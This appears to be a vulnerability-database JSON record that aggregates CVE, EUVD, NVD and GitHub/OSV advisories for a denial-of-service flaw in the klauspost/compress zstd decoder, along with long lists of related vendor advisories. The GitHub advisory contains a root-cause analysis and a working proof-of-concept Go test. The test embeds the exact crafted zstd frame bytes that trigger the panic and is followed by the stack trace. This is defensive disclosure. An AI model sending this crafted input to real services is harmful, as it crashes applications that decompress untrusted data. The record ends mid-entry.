{"id":"GO-2026-6865","revision":null,"records":[{"revision":"f6edd892a32f48fa8d17eb686ab76803","observedAt":"2026-10-27T15:44:06.157+00:00","statement":{"source":"cve-program","id":"CVE-2026-116591","aliases":[],"title":"compress zstd: Panic on two-block frames","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","state":0,"publishedAt":"2026-10-26T21:54:33.109+00:00","modifiedAt":"2026-10-27T14:16:30.395+00:00","affected":[{"ecosystem":"Vendor product","name":"compress","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"klauspost\",\n                    \"product\": \"compress\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.20.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"severity":"HIGH"}],"references":["https://github.com/klauspost/compress/security/advisories/GHSA-fpmh-frq8-7rj8","https://github.com/klauspost/compress/commit/7f5d8528720c895a6106f201719f87eb030a565d","https://github.com/klauspost/compress/releases/tag/v1.20.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-116591","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-116591","identifiers":["CVE-2026-116591"]},"retained":false,"historicalAffected":[]},{"revision":"ed5982dfafe84346ac8b4431d5f9ec4a","observedAt":"2026-11-17T08:29:15.67+00:00","statement":{"source":"euvd","id":"EUVD-2026-110497","aliases":["CVE-2026-116591","GHSA-fpmh-frq8-7rj8"],"title":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores …","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"severity":null}],"references":["https://github.com/klauspost/compress/security/advisories/GHSA-fpmh-frq8-7rj8","https://github.com/klauspost/compress/commit/7f5d8528720c895a6106f201719f87eb030a565d","https://github.com/klauspost/compress/releases/tag/v1.20.2"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-110497","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 26, 2026, 9:54:33 PM","dateUpdated":"Oct 27, 2026, 2:16:30 PM"},"relatedAdvisories":[{"id":"RHSA-2026:98995","title":"Red Hat Security Advisory: RHTAS 1.4.5 - Red Hat Trusted Artifact Signer Release","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:98541","title":"Red Hat Security Advisory: grafana security update","vulnerabilityIds":["CVE-2026-88967","CVE-2026-116591"]},{"id":"RHSA-2026:90991","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:99963","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.14.7 security update","vulnerabilityIds":["CVE-2026-14199","CVE-2026-15815","CVE-2026-33818","CVE-2026-37236","CVE-2026-39834","CVE-2026-42127","CVE-2026-45570","CVE-2026-50162","CVE-2026-50163","CVE-2026-56853","CVE-2026-56854","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-63209","CVE-2026-73502","CVE-2026-77354","CVE-2026-77405","CVE-2026-77411","CVE-2026-84304","CVE-2026-84375","CVE-2026-84445","CVE-2026-88031","CVE-2026-93748","CVE-2026-106445","CVE-2026-106446","CVE-2026-116591"]},{"id":"RHSA-2026:99635","title":"Red Hat Security Advisory: Logging for Red Hat OpenShift - 6.2.14","vulnerabilityIds":["CVE-2026-25681","CVE-2026-27136","CVE-2026-32285","CVE-2026-33186","CVE-2026-41178","CVE-2026-42151","CVE-2026-42154","CVE-2026-42499","CVE-2026-42502","CVE-2026-63209","CVE-2026-77619","CVE-2026-84445","CVE-2026-116591"]},{"id":"RHSA-2026:99172","title":"Red Hat Security Advisory: grafana-pcp security update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:99823","title":"Red Hat Security Advisory: Logging for Red Hat OpenShift - 6.5.4","vulnerabilityIds":["CVE-2026-10609","CVE-2026-42499","CVE-2026-63209","CVE-2026-77619","CVE-2026-84445","CVE-2026-116591"]},{"id":"openSUSE-SU-2026:12430-1","title":"google-osconfig-agent-20261103.02-1.1 on GA media","vulnerabilityIds":["CVE-2026-109425","CVE-2026-116591","CVE-2026-78661","CVE-2026-97045"]},{"id":"RHSA-2026:91460","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"openSUSE-SU-2026:12313-1","title":"aliyun-cli-3.5.2-2.1 on GA media","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:94580","title":"Red Hat Security Advisory: Red Hat OpenShift distributed tracing platform (Tempo) 3.11.4 release","vulnerabilityIds":["CVE-2026-116591","CVE-2026-118664"]},{"id":"RHSA-2026:94794","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-110910","CVE-2026-116591","CVE-2026-116689"]},{"id":"RHSA-2026:97843","title":"Red Hat Security Advisory: OpenShift Security Profiles Operator bug fix and enhancement update","vulnerabilityIds":["CVE-2026-56852","CVE-2026-116591"]},{"id":"RHSA-2026:93608","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591","CVE-2026-116689"]},{"id":"SUSE-SU-2026:24652-1","title":"Security update for aliyun-cli","vulnerabilityIds":["CVE-2026-116591"]},{"id":"openSUSE-SU-2026:12327-1","title":"helm3-3.22.1-2.1 on GA media","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:95090","title":"Red Hat Security Advisory: RHACS 4.11.7 security and bug fix update","vulnerabilityIds":["CVE-2026-114406","CVE-2026-116591"]},{"id":"RHSA-2026:88185","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"openSUSE-SU-2026:22227-1","title":"Security update for go-containerregistry","vulnerabilityIds":["CVE-2025-22868","CVE-2026-116591","CVE-2026-63209"]},{"id":"RHSA-2026:99030","title":"Red Hat Security Advisory: grafana security update","vulnerabilityIds":["CVE-2026-17183","CVE-2026-116591"]},{"id":"RHSA-2026:91412","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91444","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"msrc_CVE-2026-116591","title":"compress zstd: Panic on two-block frames","vulnerabilityIds":["CVE-2026-116591"]},{"id":"openSUSE-SU-2026:12530-1","title":"gopass-1.17.4-2.1 on GA media","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:99152","title":"Red Hat Security Advisory: grafana-pcp security update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:98639","title":"Red Hat Security Advisory: grafana security update","vulnerabilityIds":["CVE-2026-88967","CVE-2026-100105","CVE-2026-116591"]},{"id":"RHSA-2026:99020","title":"Red Hat Security Advisory: grafana-pcp security update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"openSUSE-SU-2026:12323-1","title":"crane-0.22.1-3.1 on GA media","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91645","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"openSUSE-SU-2026:12479-1","title":"syft-1.56.0-1.1 on GA media","vulnerabilityIds":["CVE-2026-116585","CVE-2026-116591"]},{"id":"RHSA-2026:93601","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-110289","CVE-2026-115754","CVE-2026-115897","CVE-2026-116591","CVE-2026-116689"]},{"id":"RHSA-2026:91389","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"openSUSE-SU-2026:22228-1","title":"Security update for hauler","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:98620","title":"Red Hat Security Advisory: grafana-pcp security update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"openSUSE-SU-2026:12318-1","title":"distribution-registry-3.1.2-4.1 on GA media","vulnerabilityIds":["CVE-2026-116591"]},{"id":"openSUSE-SU-2026:12326-1","title":"helm-4.3.1-3.1 on GA media","vulnerabilityIds":["CVE-2026-116591","CVE-2026-78659","CVE-2026-78660","CVE-2026-78663","CVE-2026-97032"]},{"id":"RHSA-2026:91643","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91401","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91376","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91378","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"openSUSE-SU-2026:12317-1","title":"cadvisor-0.60.6-5.1 on GA media","vulnerabilityIds":["CVE-2026-116591","CVE-2026-78663"]},{"id":"RHSA-2026:98990","title":"Red Hat Security Advisory: RHTAS 1.4.5 - Red Hat Trusted Artifact Signer Release","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:99171","title":"Red Hat Security Advisory: grafana-pcp security update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:92903","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:95591","title":"Red Hat Security Advisory: Cluster Observability Operator - 1.5","vulnerabilityIds":["CVE-2026-19534","CVE-2026-27145","CVE-2026-33818","CVE-2026-39821","CVE-2026-39822","CVE-2026-39834","CVE-2026-42504","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-63209","CVE-2026-75838","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-77301","CVE-2026-82417","CVE-2026-84292","CVE-2026-84304","CVE-2026-84375","CVE-2026-84445","CVE-2026-84961","CVE-2026-85152","CVE-2026-87018","CVE-2026-102276","CVE-2026-102278","CVE-2026-109383","CVE-2026-109829","CVE-2026-109855","CVE-2026-109869","CVE-2026-116591"]},{"id":"RHSA-2026:91462","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91459","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91483","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:99956","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.16.7 security update","vulnerabilityIds":["CVE-2026-14199","CVE-2026-15815","CVE-2026-33818","CVE-2026-37236","CVE-2026-39834","CVE-2026-41178","CVE-2026-42127","CVE-2026-45570","CVE-2026-50162","CVE-2026-50163","CVE-2026-56853","CVE-2026-56854","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-63209","CVE-2026-73502","CVE-2026-77354","CVE-2026-77405","CVE-2026-77411","CVE-2026-84292","CVE-2026-84304","CVE-2026-84375","CVE-2026-84394","CVE-2026-84445","CVE-2026-88031","CVE-2026-93748","CVE-2026-106445","CVE-2026-106446","CVE-2026-116591"]},{"id":"RHSA-2026:91480","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:99151","title":"Red Hat Security Advisory: grafana security update","vulnerabilityIds":["CVE-2026-88967","CVE-2026-116591"]},{"id":"RHSA-2026:95406","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91647","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"openSUSE-SU-2026:22218-1","title":"Security update for cadvisor","vulnerabilityIds":["CVE-2026-116591","CVE-2026-78663"]},{"id":"RHSA-2026:95617","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91385","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91368","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91665","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91393","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"WID-SEC-W-2026-4542","title":"Red Hat Enterprise Linux: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-109832","CVE-2026-96541","CVE-2026-102554","CVE-2026-69184","CVE-2026-69186","CVE-2026-116591","CVE-2026-119777","CVE-2026-125704","CVE-2026-119528","CVE-2026-108094","CVE-2026-125712","CVE-2026-120641","CVE-2026-120642","CVE-2026-120650","CVE-2026-6554","CVE-2026-91150","CVE-2026-91151"]},{"id":"openSUSE-SU-2026:22241-1","title":"Security update for aliyun-cli","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:99134","title":"Red Hat Security Advisory: grafana security update","vulnerabilityIds":["CVE-2026-88967","CVE-2026-116591"]},{"id":"RHSA-2026:88190","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"openSUSE-SU-2026:12325-1","title":"hauler-2.1.2-3.1 on GA media","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:91471","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-116591"]},{"id":"RHSA-2026:99958","title":"Red Hat Security Advisory: multicluster engine for Kubernetes v2.9.9 security update","vulnerabilityIds":["CVE-2026-25681","CVE-2026-27136","CVE-2026-39821","CVE-2026-39822","CVE-2026-39834","CVE-2026-41178","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-56864","CVE-2026-56865","CVE-2026-63209","CVE-2026-84304","CVE-2026-93748","CVE-2026-106445","CVE-2026-106446","CVE-2026-116591"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-110497","identifiers":["EUVD-2026-110497","CVE-2026-116591","GHSA-fpmh-frq8-7rj8"]},"retained":false,"historicalAffected":[]},{"revision":"b267ea2bf1d14b51a66708fc35313aee","observedAt":"2026-10-27T16:45:50.731+00:00","statement":{"source":"nvd","id":"CVE-2026-116591","aliases":[],"title":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores …","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","state":0,"publishedAt":"2026-10-26T22:16:55.783+00:00","modifiedAt":"2026-10-27T16:03:45.247+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.7,"severity":"HIGH"}],"references":["https://github.com/klauspost/compress/commit/7f5d8528720c895a6106f201719f87eb030a565d","https://github.com/klauspost/compress/releases/tag/v1.20.2","https://github.com/klauspost/compress/security/advisories/GHSA-fpmh-frq8-7rj8"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116591","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-190"],"productCriteria":[],"sourceDates":{"published":"2026-10-26T22:16:55.783","lastModified":"2026-10-27T16:03:45.247"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-116591","identifiers":["CVE-2026-116591"]},"retained":false,"historicalAffected":[]},{"revision":"9f710dfb002b4166ade216cc21388a3d","observedAt":"2026-11-05T23:38:32.248+00:00","statement":{"source":"osv","id":"GHSA-fpmh-frq8-7rj8","aliases":["CVE-2026-116591","GO-2026-6865"],"title":"compress zstd: Panic on two-block frames","description":"### Summary\n\nA crafted ~27 KB two-block zstd frame makes DecodeAll and the streaming decoder panic with an out-of-range slice index instead of returning a decode error. The same bytes decode fine with the reference zstd. Any program that decompresses untrusted zstd input can be crashed by it. Reproduced on v1.20.0 and v1.20.1.\n\nReleased in https://github.com/klauspost/compress/releases/tag/v1.20.2\n\n### Details\n\n The panic is in the FSE decoder that `huff0.ReadTable` uses to read a block's Huffman-weight table. Three conditions have to hold at once, and the crafted frame arranges all three.\n\n  **1. A count that doesn't fit is accepted.** `readNCount` permits a tableLog up to 15 ([`tablelogAbsoluteMax`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L9), checked at [`fse/decompress.go:54`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L54)), so a symbol's normalized count can reach 32768 (2^15). The count is stored in an `int16` at [`fse/decompress.go:126`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L126), where 32768 wraps to −32768. The validation only looks at the `int32` running totals (`remaining` and `gotTotal`), which still match, so the bad value passes. The crafted second block produces `norm = [0, -32768]`, `symbolLen = 2`.\n\n  **2. The decode table is built empty, with no error.** In `buildDtable`, −32768 isn't the −1 that flags a low-probability symbol, so it skips that branch, and the spread loop [`for i := 0; i < int(v); i++`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L221) runs zero times for a negative `v`. `position` never advances, so the [`position != 0`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L230) guard passes as well.\n\n  **3. Stale state from the previous block is reused.** `huff0` shares one `fse.Scratch` across both blocks, and [`allocDtable`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L173-L189) reuses `decTable` and `ct.stateTable` without clearing them. So the table is rebuilt on top of block 1's symbols and `symbolNext` values. Many cells end up with `nbBits == 0`, because the leftover `nextState` is ≥ 32768.\n\n  At decode time, every symbol's count is below `largeLimit`, so `zeroBits` stays false and `decompress` takes the [`nextFast`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L371) path. On a cell with `nbBits == 0`, [`getBitsFast(0)`](https://github.com/klauspost/compress/blob/v1.20.0/fse/bitreader.go#L58-L63) shifts by `(64-0)&63 == 0` and returns the low 16 bits of the whole register instead of 0. The state runs past the end of the table, and [`d.dt[d.state]`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L372) panics:\n\n  ```\n  panic: runtime error: index out of range [33077] with length 32768\n  ```\n\n  Both blocks are needed. With a fresh `Scratch`, every cell would be symbol 0 with `symbolNext 0`, `highBits(0)` would underflow, `newState` would reach 32768, and the [`newState >= tableSize`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L246) guard would return an error. Block 1's leftover state is what carries the malformed table past that guard.\n\n  The underlying bug is the `int16` storage combined with a tableLog allowed to reach 15. The C reference uses `short` too, but caps the FSE tableLog at 12 and the Huffman-weight tableLog at 6, so the count never wraps. `huff0.ReadTable` doesn't enforce that 6-bit bound.\n\n  A fix: reject a count of `1<<15` (or `nbBits > 14`) in `readNCount`, and enforce the weight-table tableLog in `huff0`. Clearing the reused table would also turn the panic into an error.\n\n\n### Proof of concept\n\nRun the following repro:\n\n```\npackage compression\n\nimport (\n\t\"bytes\"\n\t\"slices\"\n\t\"testing\"\n\n\t\"github.com/klauspost/compress/zstd\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDecodeAll(t *testing.T) {\n\t// zstdFSEPanic is a crafted two-block zstd frame that makes\n\t// github.com/klauspost/compress (v1.20.0 and v1.20.1) panic with an\n\t// out-of-range index in fse.nextFast rather than returning an error. Cross-block\n\t// FSE table-state carryover lets the second block's malformed Huffman-weight\n\t// table pass the decoder's guard and overflow the decode table.\n\tzstdFSEPanic := slices.Concat(\n\t\t[]byte{0x28, 0xb5, 0x2f, 0xfd, 0x00, 0x38, 0x74, 0x06, 0x00, 0x42, 0xb8, 0x32, 0x0d, 0x1a, 0x00, 0x00, 0x00, 0x90, 0xaf, 0xfa, 0xff, 0x03, 0x00, 0x80, 0xff, 0x7f},\n\t\tbytes.Repeat([]byte{0xa5, 0x94, 0x52, 0x4a, 0x29}, 37),\n\t\t[]byte{0xa5, 0x94, 0x12, 0x00, 0xad, 0x56, 0x03, 0xee, 0xff, 0xdf, 0xb3, 0x1a, 0x1c, 0x1a, 0x00, 0xe0, 0xff, 0x1f, 0x0f, 0xb1, 0x9c, 0x5a, 0xcf, 0x4d, 0xe4, 0x1d, 0x7b, 0xab, 0x99, 0x5e, 0x01, 0x51, 0xa4, 0x73, 0xd8, 0xb1, 0xf3, 0x39, 0x4b, 0x67, 0xf6, 0xab, 0x1a, 0xab, 0x1a, 0xab, 0x1a},\n\t\tbytes.Repeat([]byte{0x8c, 0x31, 0xc6, 0x18, 0x63}, 1365),\n\t\t[]byte{0x8c, 0x31},\n\t\tbytes.Repeat([]byte{0x63, 0x8c, 0x31, 0xc6, 0x18}, 1365),\n\t\t[]byte{0x63, 0x2c},\n\t\tbytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),\n\t\t[]byte{0x31, 0x46},\n\t\tbytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),\n\t\t[]byte{0x31, 0x06, 0x00},\n\t)\n\n\tdecoder, err := zstd.NewReader(nil)\n\trequire.NoError(t, err)\n\n\tdst := make([]byte, 100*1024)\n\t_, err = decoder.DecodeAll(zstdFSEPanic, dst)\n\trequire.NoError(t, err)\n}\n```\n\nOutputs:\n```\npanic: runtime error: index out of range [33077] with length 32768 [recovered, repanicked]\n\ngoroutine 36 [running]:\ntesting.tRunner.func1.2({0x100c2b7c0, 0x2472599b62a0})\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1974 +0x1a0\ntesting.tRunner.func1()\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1977 +0x318\npanic({0x100c2b7c0?, 0x2472599b62a0?})\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/runtime/panic.go:860 +0x12c\ngithub.com/klauspost/compress/fse.(*decoder).nextFast(...)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:372\ngithub.com/klauspost/compress/fse.(*Scratch).decompress(0x247259981008)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:280 +0xa08\ngithub.com/klauspost/compress/fse.Decompress({0x247259ab60e0?, 0x0?, 0x0?}, 0x1007c839c?)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:33 +0x64\ngithub.com/klauspost/compress/huff0.ReadTable({0x247259ab60df, 0x6acf, 0x6f21}, 0x1007899f8?)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/huff0/decompress.go:61 +0x130\ngithub.com/klauspost/compress/zstd.(*blockDec).decodeLiterals(0x247259aa42d0, {0x247259ab60da?, 0x19384?, 0x20000?}, 0x247259a9a958)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:446 +0x550\ngithub.com/klauspost/compress/zstd.(*blockDec).decodeCompressed(0x247259aa42d0, 0x247259a9a958)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:480 +0x34\ngithub.com/klauspost/compress/zstd.(*blockDec).decodeBuf(0x247259aa42d0, 0x247259a9a958)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:256 +0x20c\ngithub.com/klauspost/compress/zstd.(*frameDec).runDecoder(0x247259a9a908, {0x247259ac6000?, 0x19000, 0x129ca3800?}, 0x247259aa42d0)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/framedec.go:371 +0x170\ngithub.com/klauspost/compress/zstd.(*Decoder).DecodeAll(0x247259aa41e0, {0x247259ab6000, 0x6baf, 0x7000}, {0x247259ac6000, 0x19000, 0x19000})\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/decoder.go:395 +0x410\ngithub.com/ava-labs/avalanchego/utils/compression.TestDecodeAll(0x247259a9a6c8)\n\t/Users/joshua.kim/workspace/avalanchego/utils/compression/zstd_fse_panic_test.go:40 +0x498\ntesting.tRunner(0x247259a9a6c8, 0x100c4ae80)\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2036 +0xc4\ncreated by testing.(*T).Run in goroutine 1\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2101 +0x3a8\n```\n\n### Impact\n\nThis is a panic that callers cannot guard against with error handling. This should be a DOS for most users.","state":0,"publishedAt":"2026-10-27T15:38:14+00:00","modifiedAt":"2026-11-05T23:25:57.1369488+00:00","affected":[{"ecosystem":"Go","name":"github.com/klauspost/compress/zstd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.20.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/klauspost/compress/security/advisories/GHSA-fpmh-frq8-7rj8","https://nvd.nist.gov/vuln/detail/CVE-2026-116591","https://github.com/klauspost/compress/commit/7f5d8528720c895a6106f201719f87eb030a565d","https://github.com/klauspost/compress","https://github.com/klauspost/compress/releases/tag/v1.20.2"],"sourceUrl":"https://github.com/advisories/GHSA-fpmh-frq8-7rj8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-fpmh-frq8-7rj8","identifiers":["GHSA-fpmh-frq8-7rj8","CVE-2026-116591","GO-2026-6865"]},"retained":false,"historicalAffected":[]},{"revision":"588dfb11cc6b4302ad83ecc79abcb5b3","observedAt":"2026-11-05T23:38:32.248+00:00","statement":{"source":"osv","id":"GO-2026-6865","aliases":["CVE-2026-116591","GHSA-fpmh-frq8-7rj8"],"title":"Panic on two-block frames in github.com/klauspost/compress","description":"Panic on two-block frames in 